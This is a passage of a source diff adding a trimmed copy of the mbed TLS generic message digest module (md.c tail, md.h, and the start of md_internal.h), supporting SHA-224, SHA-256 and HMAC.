static void mbedtls_zeroize( void *v, size_t n ) {
|
||||||
|
volatile unsigned char *p = v; while( n-- ) *p++ = 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Reminder: update profiles in x509_crt.c when adding a new hash!
|
||||||
|
*/
|
||||||
|
static const int supported_digests[] = {
|
||||||
|
MBEDTLS_MD_SHA256,
|
||||||
|
MBEDTLS_MD_SHA224,
|
||||||
|
MBEDTLS_MD_NONE
|
||||||
|
};
|
||||||
|
|
||||||
|
const int *mbedtls_md_list( void )
|
||||||
|
{
|
||||||
|
return( supported_digests );
|
||||||
|
}
|
||||||
|
|
||||||
|
const mbedtls_md_info_t *mbedtls_md_info_from_string( const char *md_name )
|
||||||
|
{
|
||||||
|
if( NULL == md_name )
|
||||||
|
return( NULL );
|
||||||
|
|
||||||
|
/* Get the appropriate digest information */
|
||||||
|
if( !strcmp( "SHA224", md_name ) )
|
||||||
|
return mbedtls_md_info_from_type( MBEDTLS_MD_SHA224 );
|
||||||
|
if( !strcmp( "SHA256", md_name ) )
|
||||||
|
return mbedtls_md_info_from_type( MBEDTLS_MD_SHA256 );
|
||||||
|
|
||||||
|
return( NULL );
|
||||||
|
}
|
||||||
|
|
||||||
|
const mbedtls_md_info_t *mbedtls_md_info_from_type( mbedtls_md_type_t md_type )
|
||||||
|
{
|
||||||
|
switch( md_type )
|
||||||
|
{
|
||||||
|
case MBEDTLS_MD_SHA224:
|
||||||
|
return( &mbedtls_sha224_info );
|
||||||
|
case MBEDTLS_MD_SHA256:
|
||||||
|
return( &mbedtls_sha256_info );
|
||||||
|
default:
|
||||||
|
return( NULL );
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void mbedtls_md_init( mbedtls_md_context_t *ctx )
|
||||||
|
{
|
||||||
|
memset( ctx, 0, sizeof( mbedtls_md_context_t ) );
|
||||||
|
}
|
||||||
|
|
||||||
|
void mbedtls_md_free( mbedtls_md_context_t *ctx )
|
||||||
|
{
|
||||||
|
if( ctx == NULL || ctx->md_info == NULL )
|
||||||
|
return;
|
||||||
|
|
||||||
|
if( ctx->md_ctx != NULL )
|
||||||
|
ctx->md_info->ctx_free_func( ctx->md_ctx );
|
||||||
|
|
||||||
|
if( ctx->hmac_ctx != NULL )
|
||||||
|
{
|
||||||
|
mbedtls_zeroize( ctx->hmac_ctx, 2 * ctx->md_info->block_size );
|
||||||
|
mbedtls_free( ctx->hmac_ctx );
|
||||||
|
}
|
||||||
|
|
||||||
|
mbedtls_zeroize( ctx, sizeof( mbedtls_md_context_t ) );
|
||||||
|
}
|
||||||
|
|
||||||
|
int mbedtls_md_clone( mbedtls_md_context_t *dst,
|
||||||
|
const mbedtls_md_context_t *src )
|
||||||
|
{
|
||||||
|
if( dst == NULL || dst->md_info == NULL ||
|
||||||
|
src == NULL || src->md_info == NULL ||
|
||||||
|
dst->md_info != src->md_info )
|
||||||
|
{
|
||||||
|
return( MBEDTLS_ERR_MD_BAD_INPUT_DATA );
|
||||||
|
}
|
||||||
|
|
||||||
|
dst->md_info->clone_func( dst->md_ctx, src->md_ctx );
|
||||||
|
|
||||||
|
return( 0 );
|
||||||
|
}
|
||||||
|
|
||||||
|
#if ! defined(MBEDTLS_DEPRECATED_REMOVED)
|
||||||
|
int mbedtls_md_init_ctx( mbedtls_md_context_t *ctx, const mbedtls_md_info_t *md_info )
|
||||||
|
{
|
||||||
|
return mbedtls_md_setup( ctx, md_info, 1 );
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
|
int mbedtls_md_setup( mbedtls_md_context_t *ctx, const mbedtls_md_info_t *md_info, int hmac )
|
||||||
|
{
|
||||||
|
if( md_info == NULL || ctx == NULL )
|
||||||
|
return( MBEDTLS_ERR_MD_BAD_INPUT_DATA );
|
||||||
|
|
||||||
|
if( ( ctx->md_ctx = md_info->ctx_alloc_func() ) == NULL )
|
||||||
|
return( MBEDTLS_ERR_MD_ALLOC_FAILED );
|
||||||
|
|
||||||
|
if( hmac != 0 )
|
||||||
|
{
|
||||||
|
ctx->hmac_ctx = mbedtls_calloc( 2, md_info->block_size );
|
||||||
|
if( ctx->hmac_ctx == NULL )
|
||||||
|
{
|
||||||
|
md_info->ctx_free_func( ctx->md_ctx );
|
||||||
|
return( MBEDTLS_ERR_MD_ALLOC_FAILED );
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
ctx->md_info = md_info;
|
||||||
|
|
||||||
|
return( 0 );
|
||||||
|
}
|
||||||
|
|
||||||
|
int mbedtls_md_starts( mbedtls_md_context_t *ctx )
|
||||||
|
{
|
||||||
|
if( ctx == NULL || ctx->md_info == NULL )
|
||||||
|
return( MBEDTLS_ERR_MD_BAD_INPUT_DATA );
|
||||||
|
|
||||||
|
ctx->md_info->starts_func( ctx->md_ctx );
|
||||||
|
|
||||||
|
return( 0 );
|
||||||
|
}
|
||||||
|
|
||||||
|
int mbedtls_md_update( mbedtls_md_context_t *ctx, const unsigned char *input, size_t ilen )
|
||||||
|
{
|
||||||
|
if( ctx == NULL || ctx->md_info == NULL )
|
||||||
|
return( MBEDTLS_ERR_MD_BAD_INPUT_DATA );
|
||||||
|
|
||||||
|
ctx->md_info->update_func( ctx->md_ctx, input, ilen );
|
||||||
|
|
||||||
|
return( 0 );
|
||||||
|
}
|
||||||
|
|
||||||
|
int mbedtls_md_finish( mbedtls_md_context_t *ctx, unsigned char *output )
|
||||||
|
{
|
||||||
|
if( ctx == NULL || ctx->md_info == NULL )
|
||||||
|
return( MBEDTLS_ERR_MD_BAD_INPUT_DATA );
|
||||||
|
|
||||||
|
ctx->md_info->finish_func( ctx->md_ctx, output );
|
||||||
|
|
||||||
|
return( 0 );
|
||||||
|
}
|
||||||
|
|
||||||
|
int mbedtls_md( const mbedtls_md_info_t *md_info, const unsigned char *input, size_t ilen,
|
||||||
|
unsigned char *output )
|
||||||
|
{
|
||||||
|
if( md_info == NULL )
|
||||||
|
return( MBEDTLS_ERR_MD_BAD_INPUT_DATA );
|
||||||
|
|
||||||
|
md_info->digest_func( input, ilen, output );
|
||||||
|
|
||||||
|
return( 0 );
|
||||||
|
}
|
||||||
|
|
||||||
|
#if defined(MBEDTLS_FS_IO)
|
||||||
|
int mbedtls_md_file( const mbedtls_md_info_t *md_info, const char *path, unsigned char *output )
|
||||||
|
{
|
||||||
|
int ret;
|
||||||
|
FILE *f;
|
||||||
|
size_t n;
|
||||||
|
mbedtls_md_context_t ctx;
|
||||||
|
unsigned char buf[1024];
|
||||||
|
|
||||||
|
if( md_info == NULL )
|
||||||
|
return( MBEDTLS_ERR_MD_BAD_INPUT_DATA );
|
||||||
|
|
||||||
|
if( ( f = fopen( path, "rb" ) ) == NULL )
|
||||||
|
return( MBEDTLS_ERR_MD_FILE_IO_ERROR );
|
||||||
|
|
||||||
|
mbedtls_md_init( &ctx );
|
||||||
|
|
||||||
|
if( ( ret = mbedtls_md_setup( &ctx, md_info, 0 ) ) != 0 )
|
||||||
|
goto cleanup;
|
||||||
|
|
||||||
|
md_info->starts_func( ctx.md_ctx );
|
||||||
|
|
||||||
|
while( ( n = fread( buf, 1, sizeof( buf ), f ) ) > 0 )
|
||||||
|
md_info->update_func( ctx.md_ctx, buf, n );
|
||||||
|
|
||||||
|
if( ferror( f ) != 0 )
|
||||||
|
{
|
||||||
|
ret = MBEDTLS_ERR_MD_FILE_IO_ERROR;
|
||||||
|
goto cleanup;
|
||||||
|
}
|
||||||
|
|
||||||
|
md_info->finish_func( ctx.md_ctx, output );
|
||||||
|
|
||||||
|
cleanup:
|
||||||
|
fclose( f );
|
||||||
|
mbedtls_md_free( &ctx );
|
||||||
|
|
||||||
|
return( ret );
|
||||||
|
}
|
||||||
|
#endif /* MBEDTLS_FS_IO */
|
||||||
|
|
||||||
|
int mbedtls_md_hmac_starts( mbedtls_md_context_t *ctx, const unsigned char *key, size_t keylen )
|
||||||
|
{
|
||||||
|
unsigned char sum[MBEDTLS_MD_MAX_SIZE];
|
||||||
|
unsigned char *ipad, *opad;
|
||||||
|
size_t i;
|
||||||
|
|
||||||
|
if( ctx == NULL || ctx->md_info == NULL || ctx->hmac_ctx == NULL )
|
||||||
|
return( MBEDTLS_ERR_MD_BAD_INPUT_DATA );
|
||||||
|
|
||||||
|
if( keylen > (size_t) ctx->md_info->block_size )
|
||||||
|
{
|
||||||
|
ctx->md_info->starts_func( ctx->md_ctx );
|
||||||
|
ctx->md_info->update_func( ctx->md_ctx, key, keylen );
|
||||||
|
ctx->md_info->finish_func( ctx->md_ctx, sum );
|
||||||
|
|
||||||
|
keylen = ctx->md_info->size;
|
||||||
|
key = sum;
|
||||||
|
}
|
||||||
|
|
||||||
|
ipad = (unsigned char *) ctx->hmac_ctx;
|
||||||
|
opad = (unsigned char *) ctx->hmac_ctx + ctx->md_info->block_size;
|
||||||
|
|
||||||
|
memset( ipad, 0x36, ctx->md_info->block_size );
|
||||||
|
memset( opad, 0x5C, ctx->md_info->block_size );
|
||||||
|
|
||||||
|
for( i = 0; i < keylen; i++ )
|
||||||
|
{
|
||||||
|
ipad[i] = (unsigned char)( ipad[i] ^ key[i] );
|
||||||
|
opad[i] = (unsigned char)( opad[i] ^ key[i] );
|
||||||
|
}
|
||||||
|
|
||||||
|
mbedtls_zeroize( sum, sizeof( sum ) );
|
||||||
|
|
||||||
|
ctx->md_info->starts_func( ctx->md_ctx );
|
||||||
|
ctx->md_info->update_func( ctx->md_ctx, ipad, ctx->md_info->block_size );
|
||||||
|
|
||||||
|
return( 0 );
|
||||||
|
}
|
||||||
|
|
||||||
|
int mbedtls_md_hmac_update( mbedtls_md_context_t *ctx, const unsigned char *input, size_t ilen )
|
||||||
|
{
|
||||||
|
if( ctx == NULL || ctx->md_info == NULL || ctx->hmac_ctx == NULL )
|
||||||
|
return( MBEDTLS_ERR_MD_BAD_INPUT_DATA );
|
||||||
|
|
||||||
|
ctx->md_info->update_func( ctx->md_ctx, input, ilen );
|
||||||
|
|
||||||
|
return( 0 );
|
||||||
|
}
|
||||||
|
|
||||||
|
int mbedtls_md_hmac_finish( mbedtls_md_context_t *ctx, unsigned char *output )
|
||||||
|
{
|
||||||
|
unsigned char tmp[MBEDTLS_MD_MAX_SIZE];
|
||||||
|
unsigned char *opad;
|
||||||
|
|
||||||
|
if( ctx == NULL || ctx->md_info == NULL || ctx->hmac_ctx == NULL )
|
||||||
|
return( MBEDTLS_ERR_MD_BAD_INPUT_DATA );
|
||||||
|
|
||||||
|
opad = (unsigned char *) ctx->hmac_ctx + ctx->md_info->block_size;
|
||||||
|
|
||||||
|
ctx->md_info->finish_func( ctx->md_ctx, tmp );
|
||||||
|
ctx->md_info->starts_func( ctx->md_ctx );
|
||||||
|
ctx->md_info->update_func( ctx->md_ctx, opad, ctx->md_info->block_size );
|
||||||
|
ctx->md_info->update_func( ctx->md_ctx, tmp, ctx->md_info->size );
|
||||||
|
ctx->md_info->finish_func( ctx->md_ctx, output );
|
||||||
|
|
||||||
|
return( 0 );
|
||||||
|
}
|
||||||
|
|
||||||
|
int mbedtls_md_hmac_reset( mbedtls_md_context_t *ctx )
|
||||||
|
{
|
||||||
|
unsigned char *ipad;
|
||||||
|
|
||||||
|
if( ctx == NULL || ctx->md_info == NULL || ctx->hmac_ctx == NULL )
|
||||||
|
return( MBEDTLS_ERR_MD_BAD_INPUT_DATA );
|
||||||
|
|
||||||
|
ipad = (unsigned char *) ctx->hmac_ctx;
|
||||||
|
|
||||||
|
ctx->md_info->starts_func( ctx->md_ctx );
|
||||||
|
ctx->md_info->update_func( ctx->md_ctx, ipad, ctx->md_info->block_size );
|
||||||
|
|
||||||
|
return( 0 );
|
||||||
|
}
|
||||||
|
|
||||||
|
int mbedtls_md_hmac( const mbedtls_md_info_t *md_info, const unsigned char *key, size_t keylen,
|
||||||
|
const unsigned char *input, size_t ilen,
|
||||||
|
unsigned char *output )
|
||||||
|
{
|
||||||
|
mbedtls_md_context_t ctx;
|
||||||
|
int ret;
|
||||||
|
|
||||||
|
if( md_info == NULL )
|
||||||
|
return( MBEDTLS_ERR_MD_BAD_INPUT_DATA );
|
||||||
|
|
||||||
|
mbedtls_md_init( &ctx );
|
||||||
|
|
||||||
|
if( ( ret = mbedtls_md_setup( &ctx, md_info, 1 ) ) != 0 )
|
||||||
|
return( ret );
|
||||||
|
|
||||||
|
mbedtls_md_hmac_starts( &ctx, key, keylen );
|
||||||
|
mbedtls_md_hmac_update( &ctx, input, ilen );
|
||||||
|
mbedtls_md_hmac_finish( &ctx, output );
|
||||||
|
|
||||||
|
mbedtls_md_free( &ctx );
|
||||||
|
|
||||||
|
return( 0 );
|
||||||
|
}
|
||||||
|
|
||||||
|
int mbedtls_md_process( mbedtls_md_context_t *ctx, const unsigned char *data )
|
||||||
|
{
|
||||||
|
if( ctx == NULL || ctx->md_info == NULL )
|
||||||
|
return( MBEDTLS_ERR_MD_BAD_INPUT_DATA );
|
||||||
|
|
||||||
|
ctx->md_info->process_func( ctx->md_ctx, data );
|
||||||
|
|
||||||
|
return( 0 );
|
||||||
|
}
|
||||||
|
|
||||||
|
unsigned char mbedtls_md_get_size( const mbedtls_md_info_t *md_info )
|
||||||
|
{
|
||||||
|
if( md_info == NULL )
|
||||||
|
return( 0 );
|
||||||
|
|
||||||
|
return md_info->size;
|
||||||
|
}
|
||||||
|
|
||||||
|
mbedtls_md_type_t mbedtls_md_get_type( const mbedtls_md_info_t *md_info )
|
||||||
|
{
|
||||||
|
if( md_info == NULL )
|
||||||
|
return( MBEDTLS_MD_NONE );
|
||||||
|
|
||||||
|
return md_info->type;
|
||||||
|
}
|
||||||
|
|
||||||
|
const char *mbedtls_md_get_name( const mbedtls_md_info_t *md_info )
|
||||||
|
{
|
||||||
|
if( md_info == NULL )
|
||||||
|
return( NULL );
|
||||||
|
|
||||||
|
return md_info->name;
|
||||||
|
}
|
334
src/crypto/md.h
Normal file
334
src/crypto/md.h
Normal file
@ -0,0 +1,334 @@
|
|||||||
|
/**
|
||||||
|
* \file mbedtls_md.h
|
||||||
|
*
|
||||||
|
* \brief Generic message digest wrapper
|
||||||
|
*
|
||||||
|
* \author Adriaan de Jong <dejong@fox-it.com>
|
||||||
|
*
|
||||||
|
* Copyright (C) 2006-2015, ARM Limited, All Rights Reserved
|
||||||
|
* SPDX-License-Identifier: Apache-2.0
|
||||||
|
*
|
||||||
|
* Licensed under the Apache License, Version 2.0 (the "License"); you may
|
||||||
|
* not use this file except in compliance with the License.
|
||||||
|
* You may obtain a copy of the License at
|
||||||
|
*
|
||||||
|
* http://www.apache.org/licenses/LICENSE-2.0
|
||||||
|
*
|
||||||
|
* Unless required by applicable law or agreed to in writing, software
|
||||||
|
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
|
||||||
|
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||||
|
* See the License for the specific language governing permissions and
|
||||||
|
* limitations under the License.
|
||||||
|
*
|
||||||
|
* This file is part of mbed TLS (https://tls.mbed.org)
|
||||||
|
*/
|
||||||
|
#ifndef MBEDTLS_MD_H
|
||||||
|
#define MBEDTLS_MD_H
|
||||||
|
|
||||||
|
#include <stddef.h>
|
||||||
|
|
||||||
|
#define MBEDTLS_ERR_MD_FEATURE_UNAVAILABLE -0x5080 /**< The selected feature is not available. */
|
||||||
|
#define MBEDTLS_ERR_MD_BAD_INPUT_DATA -0x5100 /**< Bad input parameters to function. */
|
||||||
|
#define MBEDTLS_ERR_MD_ALLOC_FAILED -0x5180 /**< Failed to allocate memory. */
|
||||||
|
#define MBEDTLS_ERR_MD_FILE_IO_ERROR -0x5200 /**< Opening or reading of file failed. */
|
||||||
|
|
||||||
|
typedef enum {
|
||||||
|
MBEDTLS_MD_NONE = 0,
|
||||||
|
MBEDTLS_MD_SHA224,
|
||||||
|
MBEDTLS_MD_SHA256,
|
||||||
|
} mbedtls_md_type_t;
|
||||||
|
|
||||||
|
#define MBEDTLS_MD_MAX_SIZE 32 /* longest known is SHA256 or less */
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Opaque struct defined in md_internal.h
|
||||||
|
*/
|
||||||
|
typedef struct mbedtls_md_info_t mbedtls_md_info_t;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Generic message digest context.
|
||||||
|
*/
|
||||||
|
typedef struct {
|
||||||
|
/** Information about the associated message digest */
|
||||||
|
const mbedtls_md_info_t *md_info;
|
||||||
|
|
||||||
|
/** Digest-specific context */
|
||||||
|
void *md_ctx;
|
||||||
|
|
||||||
|
/** HMAC part of the context */
|
||||||
|
void *hmac_ctx;
|
||||||
|
} mbedtls_md_context_t;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Returns the list of digests supported by the generic digest module.
|
||||||
|
*
|
||||||
|
* \return a statically allocated array of digests, the last entry
|
||||||
|
* is 0.
|
||||||
|
*/
|
||||||
|
const int *mbedtls_md_list( void );
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Returns the message digest information associated with the
|
||||||
|
* given digest name.
|
||||||
|
*
|
||||||
|
* \param md_name Name of the digest to search for.
|
||||||
|
*
|
||||||
|
* \return The message digest information associated with md_name or
|
||||||
|
* NULL if not found.
|
||||||
|
*/
|
||||||
|
const mbedtls_md_info_t *mbedtls_md_info_from_string( const char *md_name );
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Returns the message digest information associated with the
|
||||||
|
* given digest type.
|
||||||
|
*
|
||||||
|
* \param md_type type of digest to search for.
|
||||||
|
*
|
||||||
|
* \return The message digest information associated with md_type or
|
||||||
|
* NULL if not found.
|
||||||
|
*/
|
||||||
|
const mbedtls_md_info_t *mbedtls_md_info_from_type( mbedtls_md_type_t md_type );
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Initialize a md_context (as NONE)
|
||||||
|
* This should always be called first.
|
||||||
|
* Prepares the context for mbedtls_md_setup() or mbedtls_md_free().
|
||||||
|
*/
|
||||||
|
void mbedtls_md_init( mbedtls_md_context_t *ctx );
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Free and clear the internal structures of ctx.
|
||||||
|
* Can be called at any time after mbedtls_md_init().
|
||||||
|
* Mandatory once mbedtls_md_setup() has been called.
|
||||||
|
*/
|
||||||
|
void mbedtls_md_free( mbedtls_md_context_t *ctx );
|
||||||
|
|
||||||
|
#if ! defined(MBEDTLS_DEPRECATED_REMOVED)
|
||||||
|
#if defined(MBEDTLS_DEPRECATED_WARNING)
|
||||||
|
#define MBEDTLS_DEPRECATED __attribute__((deprecated))
|
||||||
|
#else
|
||||||
|
#define MBEDTLS_DEPRECATED
|
||||||
|
#endif
|
||||||
|
/**
|
||||||
|
* \brief Select MD to use and allocate internal structures.
|
||||||
|
* Should be called after mbedtls_md_init() or mbedtls_md_free().
|
||||||
|
* Makes it necessary to call mbedtls_md_free() later.
|
||||||
|
*
|
||||||
|
* \deprecated Superseded by mbedtls_md_setup() in 2.0.0
|
||||||
|
*
|
||||||
|
* \param ctx Context to set up.
|
||||||
|
* \param md_info Message digest to use.
|
||||||
|
*
|
||||||
|
* \returns \c 0 on success,
|
||||||
|
* \c MBEDTLS_ERR_MD_BAD_INPUT_DATA on parameter failure,
|
||||||
|
* \c MBEDTLS_ERR_MD_ALLOC_FAILED memory allocation failure.
|
||||||
|
*/
|
||||||
|
int mbedtls_md_init_ctx( mbedtls_md_context_t *ctx, const mbedtls_md_info_t *md_info ) MBEDTLS_DEPRECATED;
|
||||||
|
#undef MBEDTLS_DEPRECATED
|
||||||
|
#endif /* MBEDTLS_DEPRECATED_REMOVED */
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Select MD to use and allocate internal structures.
|
||||||
|
* Should be called after mbedtls_md_init() or mbedtls_md_free().
|
||||||
|
* Makes it necessary to call mbedtls_md_free() later.
|
||||||
|
*
|
||||||
|
* \param ctx Context to set up.
|
||||||
|
* \param md_info Message digest to use.
|
||||||
|
* \param hmac 0 to save some memory if HMAC will not be used,
|
||||||
|
* non-zero is HMAC is going to be used with this context.
|
||||||
|
*
|
||||||
|
* \returns \c 0 on success,
|
||||||
|
* \c MBEDTLS_ERR_MD_BAD_INPUT_DATA on parameter failure,
|
||||||
|
* \c MBEDTLS_ERR_MD_ALLOC_FAILED memory allocation failure.
|
||||||
|
*/
|
||||||
|
int mbedtls_md_setup( mbedtls_md_context_t *ctx, const mbedtls_md_info_t *md_info, int hmac );
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Clone the state of an MD context
|
||||||
|
*
|
||||||
|
* \note The two contexts must have been setup to the same type
|
||||||
|
* (cloning from SHA-256 to SHA-512 make no sense).
|
||||||
|
*
|
||||||
|
* \warning Only clones the MD state, not the HMAC state! (for now)
|
||||||
|
*
|
||||||
|
* \param dst The destination context
|
||||||
|
* \param src The context to be cloned
|
||||||
|
*
|
||||||
|
* \return \c 0 on success,
|
||||||
|
* \c MBEDTLS_ERR_MD_BAD_INPUT_DATA on parameter failure.
|
||||||
|
*/
|
||||||
|
int mbedtls_md_clone( mbedtls_md_context_t *dst,
|
||||||
|
const mbedtls_md_context_t *src );
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Returns the size of the message digest output.
|
||||||
|
*
|
||||||
|
* \param md_info message digest info
|
||||||
|
*
|
||||||
|
* \return size of the message digest output in bytes.
|
||||||
|
*/
|
||||||
|
unsigned char mbedtls_md_get_size( const mbedtls_md_info_t *md_info );
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Returns the type of the message digest output.
|
||||||
|
*
|
||||||
|
* \param md_info message digest info
|
||||||
|
*
|
||||||
|
* \return type of the message digest output.
|
||||||
|
*/
|
||||||
|
mbedtls_md_type_t mbedtls_md_get_type( const mbedtls_md_info_t *md_info );
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Returns the name of the message digest output.
|
||||||
|
*
|
||||||
|
* \param md_info message digest info
|
||||||
|
*
|
||||||
|
* \return name of the message digest output.
|
||||||
|
*/
|
||||||
|
const char *mbedtls_md_get_name( const mbedtls_md_info_t *md_info );
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Prepare the context to digest a new message.
|
||||||
|
* Generally called after mbedtls_md_setup() or mbedtls_md_finish().
|
||||||
|
* Followed by mbedtls_md_update().
|
||||||
|
*
|
||||||
|
* \param ctx generic message digest context.
|
||||||
|
*
|
||||||
|
* \returns 0 on success, MBEDTLS_ERR_MD_BAD_INPUT_DATA if parameter
|
||||||
|
* verification fails.
|
||||||
|
*/
|
||||||
|
int mbedtls_md_starts( mbedtls_md_context_t *ctx );
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Generic message digest process buffer
|
||||||
|
* Called between mbedtls_md_starts() and mbedtls_md_finish().
|
||||||
|
* May be called repeatedly.
|
||||||
|
*
|
||||||
|
* \param ctx Generic message digest context
|
||||||
|
* \param input buffer holding the datal
|
||||||
|
* \param ilen length of the input data
|
||||||
|
*
|
||||||
|
* \returns 0 on success, MBEDTLS_ERR_MD_BAD_INPUT_DATA if parameter
|
||||||
|
* verification fails.
|
||||||
|
*/
|
||||||
|
int mbedtls_md_update( mbedtls_md_context_t *ctx, const unsigned char *input, size_t ilen );
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Generic message digest final digest
|
||||||
|
* Called after mbedtls_md_update().
|
||||||
|
* Usually followed by mbedtls_md_free() or mbedtls_md_starts().
|
||||||
|
*
|
||||||
|
* \param ctx Generic message digest context
|
||||||
|
* \param output Generic message digest checksum result
|
||||||
|
*
|
||||||
|
* \returns 0 on success, MBEDTLS_ERR_MD_BAD_INPUT_DATA if parameter
|
||||||
|
* verification fails.
|
||||||
|
*/
|
||||||
|
int mbedtls_md_finish( mbedtls_md_context_t *ctx, unsigned char *output );
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Output = message_digest( input buffer )
|
||||||
|
*
|
||||||
|
* \param md_info message digest info
|
||||||
|
* \param input buffer holding the data
|
||||||
|
* \param ilen length of the input data
|
||||||
|
* \param output Generic message digest checksum result
|
||||||
|
*
|
||||||
|
* \returns 0 on success, MBEDTLS_ERR_MD_BAD_INPUT_DATA if parameter
|
||||||
|
* verification fails.
|
||||||
|
*/
|
||||||
|
int mbedtls_md( const mbedtls_md_info_t *md_info, const unsigned char *input, size_t ilen,
|
||||||
|
unsigned char *output );
|
||||||
|
|
||||||
|
#if defined(MBEDTLS_FS_IO)
|
||||||
|
/**
|
||||||
|
* \brief Output = message_digest( file contents )
|
||||||
|
*
|
||||||
|
* \param md_info message digest info
|
||||||
|
* \param path input file name
|
||||||
|
* \param output generic message digest checksum result
|
||||||
|
*
|
||||||
|
* \return 0 if successful,
|
||||||
|
* MBEDTLS_ERR_MD_FILE_IO_ERROR if file input failed,
|
||||||
|
* MBEDTLS_ERR_MD_BAD_INPUT_DATA if md_info was NULL.
|
||||||
|
*/
|
||||||
|
int mbedtls_md_file( const mbedtls_md_info_t *md_info, const char *path,
|
||||||
|
unsigned char *output );
|
||||||
|
#endif /* MBEDTLS_FS_IO */
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Set HMAC key and prepare to authenticate a new message.
|
||||||
|
* Usually called after mbedtls_md_setup() or mbedtls_md_hmac_finish().
|
||||||
|
*
|
||||||
|
* \param ctx HMAC context
|
||||||
|
* \param key HMAC secret key
|
||||||
|
* \param keylen length of the HMAC key in bytes
|
||||||
|
*
|
||||||
|
* \returns 0 on success, MBEDTLS_ERR_MD_BAD_INPUT_DATA if parameter
|
||||||
|
* verification fails.
|
||||||
|
*/
|
||||||
|
int mbedtls_md_hmac_starts( mbedtls_md_context_t *ctx, const unsigned char *key,
|
||||||
|
size_t keylen );
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Generic HMAC process buffer.
|
||||||
|
* Called between mbedtls_md_hmac_starts() or mbedtls_md_hmac_reset()
|
||||||
|
* and mbedtls_md_hmac_finish().
|
||||||
|
* May be called repeatedly.
|
||||||
|
*
|
||||||
|
* \param ctx HMAC context
|
||||||
|
* \param input buffer holding the data
|
||||||
|
* \param ilen length of the input data
|
||||||
|
*
|
||||||
|
* \returns 0 on success, MBEDTLS_ERR_MD_BAD_INPUT_DATA if parameter
|
||||||
|
* verification fails.
|
||||||
|
*/
|
||||||
|
int mbedtls_md_hmac_update( mbedtls_md_context_t *ctx, const unsigned char *input,
|
||||||
|
size_t ilen );
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Output HMAC.
|
||||||
|
* Called after mbedtls_md_hmac_update().
|
||||||
|
* Usually followed my mbedtls_md_hmac_reset(), mbedtls_md_hmac_starts(),
|
||||||
|
* or mbedtls_md_free().
|
||||||
|
*
|
||||||
|
* \param ctx HMAC context
|
||||||
|
* \param output Generic HMAC checksum result
|
||||||
|
*
|
||||||
|
* \returns 0 on success, MBEDTLS_ERR_MD_BAD_INPUT_DATA if parameter
|
||||||
|
* verification fails.
|
||||||
|
*/
|
||||||
|
int mbedtls_md_hmac_finish( mbedtls_md_context_t *ctx, unsigned char *output);
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Prepare to authenticate a new message with the same key.
|
||||||
|
* Called after mbedtls_md_hmac_finish() and before mbedtls_md_hmac_update().
|
||||||
|
*
|
||||||
|
* \param ctx HMAC context to be reset
|
||||||
|
*
|
||||||
|
* \returns 0 on success, MBEDTLS_ERR_MD_BAD_INPUT_DATA if parameter
|
||||||
|
* verification fails.
|
||||||
|
*/
|
||||||
|
int mbedtls_md_hmac_reset( mbedtls_md_context_t *ctx );
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Output = Generic_HMAC( hmac key, input buffer )
|
||||||
|
*
|
||||||
|
* \param md_info message digest info
|
||||||
|
* \param key HMAC secret key
|
||||||
|
* \param keylen length of the HMAC key in bytes
|
||||||
|
* \param input buffer holding the data
|
||||||
|
* \param ilen length of the input data
|
||||||
|
* \param output Generic HMAC-result
|
||||||
|
*
|
||||||
|
* \returns 0 on success, MBEDTLS_ERR_MD_BAD_INPUT_DATA if parameter
|
||||||
|
* verification fails.
|
||||||
|
*/
|
||||||
|
int mbedtls_md_hmac( const mbedtls_md_info_t *md_info, const unsigned char *key, size_t keylen,
|
||||||
|
const unsigned char *input, size_t ilen,
|
||||||
|
unsigned char *output );
|
||||||
|
|
||||||
|
/* Internal use */
|
||||||
|
int mbedtls_md_process( mbedtls_md_context_t *ctx, const unsigned char *data );
|
||||||
|
|
||||||
|
#endif /* MBEDTLS_MD_H */
|
79
src/crypto/md_internal.h
Normal file
79
src/crypto/md_internal.h
Normal file
@ -0,0 +1,79 @@
|
|||||||
|
/**
|
||||||
|
* \file md_internal.h
|
||||||
|
*
|
||||||
|
* \brief Message digest wrappers.
|
||||||
|
*
|
||||||
|
* \warning This in an internal header. Do not include directly.
|
||||||
|
*
|
||||||
|
* \author Adriaan de Jong <dejong@fox-it.com>
|
||||||
|
*
|
||||||
|
* Copyright (C) 2006-2015, ARM Limited, All Rights Reserved
|
||||||
|
* SPDX-License-Identifier: Apache-2.0
|
||||||
|
*
|
||||||
|
* Licensed under the Apache License, Version 2.0 (the "License"); you may
|
||||||
|
* not use this file except in compliance with the License.
|
||||||
|
* You may obtain a copy of the License at
|
||||||
|
*
|
||||||
|
* http://www.apache.org/licenses/LICENSE-2.0
|
||||||
|
*
|
||||||
|
* Unless required by applicable law or agreed to in writing, software
|
||||||
|
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
|
||||||
|
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||||
|
* See the License for the specific language governing permissions and
|
||||||
|
* limitations under the License.
|
||||||
|
*
|
||||||
|
* This file is part of mbed TLS (https://tls.mbed.org)
|
||||||
|
*/
|
||||||
|
